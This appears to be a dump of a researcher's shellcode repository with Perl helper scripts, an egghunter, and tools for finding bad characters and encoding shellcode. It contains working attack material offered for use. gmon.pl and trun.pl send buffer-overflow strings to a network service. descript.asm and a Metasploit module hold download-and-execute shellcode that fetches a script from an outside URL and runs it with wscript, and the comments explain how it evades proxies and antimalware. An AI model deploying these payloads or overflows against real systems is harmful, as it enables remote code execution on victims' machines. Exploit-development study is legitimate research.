├── resources ├── egghunt_syscall.zip ├── minishare-1.4.1.zip ├── BigAntServer_Enu_Setup.zip ├── odbgpython-0.1-alpha.zip ├── passivex_rproxybypass.tar.gz ├── escapeencoder.pl ├── convertsc2h.pl ├── gmon.pl ├── trun.pl ├── fuzzer.pl ├── generatecodes.pl ├── unishellcodetoc.pl └── comparememory.pl ├── README.md ├── sbomlette.asm ├── download_exec_script.rb └── descript.asm /resources/egghunt_syscall.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenbradshaw/shellcode/HEAD/resources/egghunt_syscall.zip -------------------------------------------------------------------------------- /resources/minishare-1.4.1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenbradshaw/shellcode/HEAD/resources/minishare-1.4.1.zip -------------------------------------------------------------------------------- /resources/BigAntServer_Enu_Setup.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenbradshaw/shellcode/HEAD/resources/BigAntServer_Enu_Setup.zip -------------------------------------------------------------------------------- /resources/odbgpython-0.1-alpha.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenbradshaw/shellcode/HEAD/resources/odbgpython-0.1-alpha.zip -------------------------------------------------------------------------------- /resources/passivex_rproxybypass.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenbradshaw/shellcode/HEAD/resources/passivex_rproxybypass.tar.gz -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | shellcode 2 | ========= 3 | 4 | Various shell code I have written 5 | 6 | See my blog for more information: https://thegreycorner.com/ 7 | -------------------------------------------------------------------------------- /resources/escapeencoder.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | open(FILE, "<$ARGV[0]") || die("Cannot open file $ARGV[0]\n\n"); 3 | binmode(FILE); 4 | while (read FILE, $data, 1){ 5 | $encode .= '%' . sprintf( "%02x", ord($data)); 6 | } 7 | 8 | print $encode; 9 | -------------------------------------------------------------------------------- /resources/convertsc2h.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | open(FILE, "<$ARGV[0]") || die("Cannot open file $ARGV[0]\n\n"); 3 | binmode(FILE); 4 | $count = 0; 5 | print "Shellcode:\n"; 6 | while (read FILE, $data, 1){ 7 | print '\x' . sprintf( "%02x", ord($data)); 8 | $count++; 9 | } 10 | close(FILE); 11 | print "\n\n"; 12 | print "Length:$count\n"; -------------------------------------------------------------------------------- /resources/gmon.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use IO::Socket; 3 | 4 | if ($ARGV[1] eq '') { 5 | die("Usage: $0 IP_ADDRESS PORT\n\n"); 6 | } 7 | 8 | $baddata = "GMON /.:/"; 9 | $baddata .= "A" x 5000; 10 | 11 | $socket = IO::Socket::INET->new( 12 | Proto => "tcp", 13 | PeerAddr => "$ARGV[0]", 14 | PeerPort => "$ARGV[1]" 15 | ) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; 16 | 17 | $socket->recv($serverdata, 1024); 18 | print "$serverdata"; 19 | 20 | $socket->send($baddata); -------------------------------------------------------------------------------- /resources/trun.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use IO::Socket; 3 | 4 | if ($ARGV[1] eq '') { 5 | die("Usage: $0 IP_ADDRESS PORT\n\n"); 6 | } 7 | 8 | $baddata = "TRUN /.:/"; 9 | $baddata .= "A" x 5000; 10 | 11 | $socket = IO::Socket::INET->new( 12 | Proto => "tcp", 13 | PeerAddr => "$ARGV[0]", 14 | PeerPort => "$ARGV[1]" 15 | ) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; 16 | 17 | $socket->recv($serverdata, 1024); 18 | print "$serverdata"; 19 | 20 | $socket->send($baddata); 21 | -------------------------------------------------------------------------------- /resources/fuzzer.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # Simple wrapper to run multiple .spk files using generic_send_tcp 3 | 4 | $spikese = '/pentest/fuzzers/spike/generic_send_tcp'; 5 | 6 | if ($ARGV[4] eq '') { 7 | die("Usage: $0 IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR\n\n"); 8 | } 9 | 10 | $skipfiles = $ARGV[2]; 11 | 12 | @files = <*.spk>; 13 | 14 | foreach $file (@files) { 15 | if (! $skipfiles) { 16 | if (system("$spikese $ARGV[0] $ARGV[1] $file $ARGV[3] $ARGV[4]") ) { 17 | print "Stopped processing file $file\n"; 18 | exit(0); 19 | } 20 | } else { 21 | $skipfiles--; 22 | } 23 | } -------------------------------------------------------------------------------- /resources/generatecodes.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # generatecodes.pl 3 | # Version 0.1 4 | 5 | use Getopt::Long; 6 | 7 | GetOptions('help|?|' => \$help); 8 | 9 | if ($help) {&help; } 10 | 11 | if ($ARGV[0]) { 12 | @knownbad = split ',', $ARGV[0]; 13 | foreach $bad (@knownbad) { 14 | $bad = hex($bad); 15 | } 16 | } 17 | 18 | if (! $ARGV[1]) { 19 | $split = 15; # split at 15 characters if not told otherwise 20 | } else { 21 | $split = $ARGV[1]; 22 | } 23 | 24 | $count=0; 25 | for ($a = 0; $a <= 255; $a++) { 26 | $match = 0; 27 | foreach $knownbad (@knownbad) { 28 | if ($knownbad eq $a) {$match = 1} 29 | } 30 | if (! $match) { 31 | if (! $count) {print chr(34); } 32 | print '\x' . sprintf("%02x", $a); 33 | $count++; 34 | } 35 | 36 | if ( (int($count/$split) eq $count/$split ) && ($count)) {print chr(34) . "\n"; $count = 0; } 37 | } 38 | 39 | if ( (int($count/$split) ne $count/$split ) && ($count)) {print chr(34) . "\n";} 40 | 41 | 42 | sub help{ 43 | print "This script generates a c style buffer of all characters from 0 to 255, except those specified in a comma seperated list provided as parameter one. Used to generate a list of characters to enter into a exploit to test for bad characters. \n\n" . 44 | "Parameter one is optional and should contain comma separated hexadecimal bytes in the format 00,0a,0d and any characters provided will not be listed in the output.\n\n" . 45 | "Parameter two is also optional and specifies the interval at which new lines are interspersed in the output. If not specified the default is a new line every 15 characters.\n\n"; 46 | exit; 47 | } -------------------------------------------------------------------------------- /resources/unishellcodetoc.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # unishellcodetoc.pl 3 | # Version 0.1 4 | 5 | # This script takes shellcode in unicode coded format as a parameter and outputs it to STDOUT in c code format that can be compiled into a windows executable for further analysis. Borrows metasploit c code for compiling shellcode. 6 | 7 | use Getopt::Long; 8 | 9 | GetOptions('help|?|' => \$help); 10 | 11 | if ($help) { &help; } 12 | 13 | sub help{ 14 | print "This script takes shellcode in unicode coded format as a parameter and outputs it to STDOUT in c code format that can be compiled into a windows executable for further analysis. \n\n" . 15 | 'Parameter one should contain unicode format shellcode in format "%uHHHH%uHHHH.." where HH is a hexidecimal value' . "\n\n" . 16 | 'Code can be compiled into a windows executable using a command such as "gcc.exe code.c -o code.exe"' . "\n\n"; 17 | exit; 18 | } 19 | 20 | # shellcode here in format "%uHHHH%uHHHH" where HH is a hexidecimal value 21 | $unishellcode = $ARGV[0]; 22 | 23 | if ($unishellcode eq "") { &help; } 24 | 25 | $unishellcode =~ tr/";//d; # remove unneeded characters 26 | 27 | $code = ''; 28 | 29 | @array = split "%", $unishellcode; 30 | foreach $part (@array) { 31 | if (! $part == "") { # encoding is little endian so we swap order of encoded bytes 32 | $code = $code . '\x' . substr($part, 3, 2); 33 | $code = $code . '\x' . substr($part, 1, 2); 34 | } 35 | } 36 | 37 | print "\n\n"; 38 | 39 | print 'char code[] = "' . $code . '";' . "\n\n"; 40 | 41 | print < \$help); 8 | 9 | if ( ($help) || (! $ARGV[1]) ) {&help; } 10 | 11 | 12 | open(INPUT, "<$ARGV[0]") || die("Could not open file $ARGV[0].\n\n"); 13 | @array = ; 14 | foreach $line (@array) { 15 | $line =~ tr/A-F/a-f/; 16 | chomp($line); 17 | @temp = split ' ', $line; 18 | push(@memorybytes, @temp) 19 | } 20 | close(INPUT); 21 | 22 | open(INPUT, "<$ARGV[1]") || die("Could not open file $ARGV[1].\n\n"); 23 | @array = ; 24 | 25 | foreach $line (@array) { 26 | $line =~ tr/\"\\.\; //d; 27 | $line =~ s/^x//; 28 | $line =~ tr/A-F/a-f/; 29 | chomp($line); 30 | @temp = split 'x', $line; 31 | push(@shellcodebytes, @temp) 32 | } 33 | 34 | close(INPUT); 35 | $counter = 0; 36 | foreach $memorybyte (@memorybytes) { 37 | if ($memorybyte ne $shellcodebytes[$counter]) { 38 | print "Memory: $memorybyte Shellcode: $shellcodebytes[$counter] at position $counter\n"; 39 | } 40 | $counter++; 41 | } 42 | 43 | sub help{ 44 | print "This script compares a file containing a ASCII Text binary copy of a memory dump from OllyDbg as parameter one and compares it to a file containing shellcode in c style format as parameter two.\n\n" . 45 | "All diferences between the two files will be printed to the console. No output means no differences. Used to find bad characters when writing exploits.\n\n" . 46 | "Generate the ASCII Text binary output from OllyDbg by right clicking in the memory dump pane of the CPU Window, select Binary->Binary Copy, and paste the contents into a file. The file should contain a sequence of hex characters separated by spaces.\n\n" . 47 | "The Shellcode can be entered in c style format, with characters represented like so \\x55.\n\n"; 48 | exit; 49 | } 50 | -------------------------------------------------------------------------------- /sbomlette.asm: -------------------------------------------------------------------------------- 1 | ; Omlette egghunter shellcode 2 | ; You'll probably want to go here to see how to use this: http://www.thegreycorner.com/2013/10/omlette-egghunter-shellcode.html 3 | 4 | [BITS 32] 5 | 6 | begin: 7 | MOV EBP, ESP ; Get stack pointer into EBP to provide starting offset for location to write shellcode 8 | loop_inc_page: 9 | OR BX, 0x0fff ; Add PAGE_SIZE-1 to EBX 10 | loop_inc_one: 11 | INC EBX ; Increment memory pointer EBX+1 12 | syscall_access: 13 | XOR EAX, EAX ; Zero EAX 14 | MOV AL, 0x02 ; Set EAX for syscall NtAccessCheckAndAuditAlarm 15 | MOV EDX, EBX ; Set EDX to memory location for syscall. The syscall clobbers EDX so we cant use it for persistent address storage 16 | INT 0x2e ; Perform the syscall 17 | CMP AL, 0x05 ; Checking for 0xc0000005 (ACCESS_VIOLATION) 18 | JE loop_inc_page ; Invalid memory, go to next memory page 19 | check_marker: 20 | MOV EAX, 0x78563412 ; Put egg marker in EAX 21 | MOV EDI, EBX ; Set EDI to the valid memory location from EBX 22 | SCASD ; Compare the dword in [EDI] to marker in EAX, increment EDI+4 23 | JNZ loop_inc_one ; No match? Back to searching loop 24 | SCASD ; Compare the dword in [EDI] to EAX again, increment EDI+4 25 | JNZ loop_inc_one ; No match? Back to searching loop 26 | copy_egg_chunk: 27 | MOV ESI, EDI ; Move memory location of start of egg data to ESI 28 | MOV EDI, EBP ; Move memory location to write egg to EDI 29 | LODSW ; Move word of memory from [ESI] into EAX, increment ESI+2. AH has chunk size, AL has flag value. 30 | XOR ECX, ECX ; Zero ECX 31 | MOV CL, AH ; Copy AH (egg chunk size) to CL to use as counter for REP MOVSB operation 32 | CMP AL, 0x01 ; Compare flag value in AL to 1 to see if we have written final egg chunk 33 | REP MOVSB ; Copy ECX number of bytes from [ESI] to [EDI]. Increments EDI and ESI by ECX 34 | MOV EBP, EDI ; EBP stores address of end of written shellcode 35 | JNE loop_inc_one ; Jump back to searching loop if we have not written final egg chunk 36 | JMP ESP ; Jump to start of completed egg 37 | 38 | 39 | -------------------------------------------------------------------------------- /download_exec_script.rb: -------------------------------------------------------------------------------- 1 | # Metasploit payload module for Download and Execute Script Payload 2 | # Used for bypassing restrictive proxy servers 3 | # Based on "Download & execute" code from here http://www.klake.org/~jt/asmcode/ 4 | # More info right here: http://www.thegreycorner.com/2010/05/download-and-execute-script-shellcode.html 5 | # Version 1.1 - with Windows 7 support using the SkyLined method 6 | # http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/ 7 | require 'msf/core' 8 | require 'msf/core/payload/windows/exec' 9 | 10 | 11 | module Metasploit3 12 | 13 | include Msf::Payload::Windows 14 | include Msf::Payload::Single 15 | 16 | def initialize(info = {}) 17 | super(update_info(info, 18 | 'Name' => 'Windows Script Download and Execute', 19 | 'Version' => '1.1', 20 | 'Description' => 'Download a script from a HTTP URL and execute it', 21 | 'Author' => [ 'Stephen Bradshaw' ], 22 | 'License' => BSD_LICENSE, 23 | 'Platform' => 'win', 24 | 'Arch' => ARCH_X86, 25 | 'Privileged' => false, 26 | 'Payload' => 27 | { 28 | 'Offsets' => { }, 29 | 'Payload' => 30 | "\xeb\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b" + 31 | "\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xc3\x60" + 32 | "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a" + 33 | "\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31" + 34 | "\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb" + 35 | "\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c" + 36 | "\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" + 37 | "\x61\xc3\xe8\x92\xff\xff\xff\x5f\x81\xef\x98\xff\xff\xff\xeb" + 38 | "\x05\xe8\xed\xff\xff\xff\x68\x8e\x4e\x0e\xec\x53\xe8\x94\xff" + 39 | "\xff\xff\x31\xc9\x66\xb9\x6f\x6e\x51\x68\x75\x72\x6c\x6d\x54" + 40 | "\xff\xd0\x68\x36\x1a\x2f\x70\x50\xe8\x7a\xff\xff\xff\x31\xc9" + 41 | "\x51\x51\x8d\x37\x81\xc6\xee\xff\xff\xff\x8d\x56\x0c\x52\x57" + 42 | "\x51\xff\xd0\x68\x98\xfe\x8a\x0e\x53\xe8\x5b\xff\xff\xff\x41" + 43 | "\x51\x56\xff\xd0\x68\x7e\xd8\xe2\x73\x53\xe8\x4b\xff\xff\xff" + 44 | "\xff\xd0\x77\x73\x63\x72\x69\x70\x74\x20\x2f\x2f\x42\x20\x61" + 45 | "\x2e\x76\x62\x73\x00" 46 | } 47 | )) 48 | 49 | # EXITFUNC is not supported :/ 50 | deregister_options('EXITFUNC') 51 | 52 | # Register command execution options 53 | register_options( 54 | [ 55 | OptString.new('URL', [ true, "The URL pointing to the script. Don't use .txt, .htm file extentions!" ]) 56 | ], self.class) 57 | end 58 | 59 | # 60 | # Constructs the payload 61 | # 62 | def generate_stage 63 | return module_info['Payload']['Payload'] + (datastore['URL'] || '') + "\x00" 64 | end 65 | 66 | end 67 | -------------------------------------------------------------------------------- /descript.asm: -------------------------------------------------------------------------------- 1 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | ; Download and execute script win32 shellcode 3 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 4 | ; 5 | ; Version 1.1 - Now supporting Windows 7 6 | ; Saves data retrieved from URL to PWD (Present Working Directory) as a vbscript file and then runs it using cscript. 7 | ; 8 | ; What? Why download and run a script instead of an executable? 9 | ; Short answer: bypassing of content filtering proxies. 10 | ; Longer, more detailed answer: http://www.thegreycorner.com/2010/05/download-and-execute-script-shellcode.html 11 | ; 12 | ; Modified from "Download & execute" code from here http://www.klake.org/~jt/asmcode/ 13 | ; Uses URLDownloadToFile, so will use Internet Explorer's proxy settings if configured. 14 | ; The running program needs write permissions to the PWD. 15 | ; 16 | ; Change URL string at the end then assemble using the following, where this file is saved as descript.asm: 17 | ; >nasm -f bin descript.asm -o descript.bin 18 | ; 19 | ; Then cat into msfencode to encode around bad characters, e.g. 20 | ; >cat descript.bin | msfencode -a x86 -b '\x00\x0a\x0d' -t c 21 | ; 22 | ; OR use something like perl to display in c hash format: 23 | ; >cat descript.bin | perl -e 'while (read STDIN, $d, 1) {print "\\x" . sprintf( "%02x", ord($d));}; print "\n"' 24 | ; 25 | ; Windows 7 Support added using this method courtesy of SkyLined: http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/ 26 | ; 27 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 28 | ; Code starts here 29 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 30 | 31 | [BITS 32] 32 | 33 | global _start 34 | 35 | _start: 36 | jmp short startup 37 | 38 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 39 | ; Functions to find kernel32 and to allow calling of other functions in sc 40 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 41 | 42 | find_kernel32: 43 | ; Below method thanks to SkyLined 44 | ; http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/ 45 | xor ecx, ecx ; set ecx to 0 46 | mov esi, [fs:ecx + 0x30] ; esi = &(PEB) ([FS:0x30]) 47 | mov esi, [esi + 0x0C] ; esi = PEB->Ldr 48 | mov esi, [esi + 0x1C] ; esi = PEB->Ldr.InInitOrder 49 | next_module: 50 | mov ebx, [esi + 0x08] ; ebx = InInitOrder[X].base_address - modified to put in ebx 51 | mov edi, [esi + 0x20] ; ebp = InInitOrder[X].module_name (unicode) 52 | mov esi, [esi] ; esi = InInitOrder[X].flink (next module) 53 | cmp [edi + 0x18], cx ; aniway fix for compatibility with win2k modulename[12] == 00 ? 54 | jne next_module ; No: try next module. 55 | ; ebx has the base address of kernel32 56 | ret 57 | 58 | 59 | find_function: 60 | pushad ; Save all registers 61 | mov ebp, [esp + 0x24] ; Store the base address in eax 62 | mov eax, [ebp + 0x3c] ; PE header VMA 63 | mov edx, [ebp + eax + 0x78] ; Export table relative offset 64 | add edx, ebp ; Export table VMA 65 | mov ecx, [edx + 0x18] ; Number of names 66 | mov ebx, [edx + 0x20] ; Names table relative offset 67 | add ebx, ebp ; Names table VMA 68 | 69 | find_function_loop: 70 | jecxz find_function_finished ; Jump to the end if ecx is 0 71 | dec ecx ; Decrement our names counter 72 | mov esi, [ebx + ecx * 4] ; Store the relative offset of the name 73 | add esi, ebp ; Set esi to the VMA of the current name 74 | 75 | compute_hash: 76 | xor edi, edi ; Zero edi 77 | xor eax, eax ; Zero eax 78 | cld ; Clear direction 79 | 80 | compute_hash_again: 81 | lodsb ; Load the next byte from esi into al 82 | test al, al ; Test ourselves. 83 | jz compute_hash_finished ; If the ZF is set, we've hit the null term. 84 | ror edi, 0xd ; Rotate edi 13 bits to the right 85 | add edi, eax ; Add the new byte to the accumulator 86 | jmp compute_hash_again ; Next iteration 87 | 88 | compute_hash_finished: 89 | find_function_compare: 90 | cmp edi, [esp + 0x28] ; Compare the computed hash with the requested hash 91 | jnz find_function_loop ; No match, try the next one. 92 | mov ebx, [edx + 0x24] ; Ordinals table relative offset 93 | add ebx, ebp ; Ordinals table VMA 94 | mov cx, [ebx + 2 * ecx] ; Extrapolate the function's ordinal 95 | mov ebx, [edx + 0x1c] ; Address table relative offset 96 | add ebx, ebp ; Address table VMA 97 | mov eax, [ebx + 4 * ecx] ; Extract the relative function offset from its ordinal 98 | add eax, ebp ; Function VMA 99 | mov [esp + 0x1c], eax ; Overwrite stack version of eax from pushad 100 | 101 | find_function_finished: 102 | popad ; Restore all registers 103 | ret 104 | 105 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 106 | ; Download and Execute Script specific instructions start here 107 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 108 | 109 | begin: 110 | call find_kernel32 ; Find kernel32 address 111 | pop edi ; Address of urlmon: label popped from stack to edi 112 | sub edi, urlmon-urldata ; Now edi has address of url, like "add edi, urldata-urlmon" without \x0 bytes 113 | jmp short urlmon ; Jump over call statement 114 | 115 | startup: 116 | call begin ; Redirect execution to begin: label, address of next instruction (urlmon:) pushed to stack 117 | 118 | 119 | urlmon: 120 | push 0xec0e4e8e ; LoadLibraryA hash 121 | push ebx ; kernel32 base address 122 | call find_function ; find address 123 | 124 | ; LoadLibraryA (LPCTSTR lpLibFileName) 125 | xor ecx, ecx ; ecx = 0 126 | mov cx, 0x6e6f ; Move "on" in cx register, lower two bytes of ecx 127 | push ecx ; Push null-terminated "on" to stack ("on" + \x0\x0) 128 | push 0x6d6c7275 ; Push "urlm", null terminated "urlmon" on stack 129 | push esp ; lpLibFileName 130 | call eax ; eax holds our function address 131 | 132 | download: 133 | push 0x702f1a36 ; URLDownloadToFileA hash 134 | push eax ; urlmon.dll base address 135 | call find_function ; find address 136 | 137 | ; URLDownloadToFileA (LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB); 138 | xor ecx, ecx ; ecx = 0 for later use 139 | push ecx ; lpfnCB 140 | push ecx ; dwReserved 141 | lea esi, [edi] ; esi gets offset of URL 142 | add esi, cmddata-urldata ; Now esi has command to run, same as "sub esi, urldata-cmddata" but without \x0 byte 143 | lea edx, [esi + 12] ; edx gets script filename from command, downloaded file saved to this name 144 | push edx ; szFileName 145 | push edi ; szURL 146 | push ecx ; pCaller 147 | call eax ; eax holds our function address 148 | 149 | execute: 150 | push 0x0e8afe98 ; WinExec hash 151 | push ebx ; kernel32 base address 152 | call find_function ; find address 153 | 154 | ; WinExec (LPCSTR lpCmdLine, UINT uCmdShow) 155 | inc ecx ; ecx = 1 156 | push ecx ; uCmdShow 157 | push esi ; lpCmdLine. We already have the exe path in esi 158 | call eax ; eax holds our function address 159 | 160 | exit: 161 | push 0x73e2d87e ; ExitProcess hash 162 | push ebx ; kernel32 base address 163 | call find_function ; find address 164 | 165 | ; ExitProcess (UINT uExitCode) 166 | call eax ; holds our function address 167 | 168 | 169 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 170 | ; Variable data stored here 171 | ; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 172 | ; I have left zero bytes terminating these strings, so encoding may be necessary in some circumstances. 173 | ; Leaving in zero bytes here is OK for JS based shellcode and saves some space, plus allows editing of db strings without modifying other code 174 | ; To get rid of 0 bytes, modify code to replace with other character (e.g. 0xff) 175 | ; AND use instructions like "mov [edi + 28], cl" (where ecx = 0, edi points to string, 28 is end of string) to replace with \x0 at runtime 176 | 177 | cmddata: 178 | ; Script command to execute. File from URL gets saved to disk as the script name specified in command below 179 | ; Dont want to drop a .vbs file on disk for forensic analysis or antimalware reasons? 180 | ; (Be aware only the file extension will be changed, not the content) 181 | ; Try "wscript //B //e:vbscript a.tmp" and modify this command from above "lea edx, [esi + 12]" to "lea edx, [esi + 25]" 182 | ; Otherwise you shouldn't need to change this. 183 | 184 | db "wscript //B a.vbs", 0 185 | 186 | 187 | urldata: 188 | ; Change this to provide your own URL 189 | ; File extension in URL DOES matter 190 | ; Extensions .txt and .htm (and possibly more) dont get saved to disk by URLDownloadToFile causing shellcode to fail 191 | 192 | db "http://192.168.56.1/test1.tmp", 0 193 | 194 | --------------------------------------------------------------------------------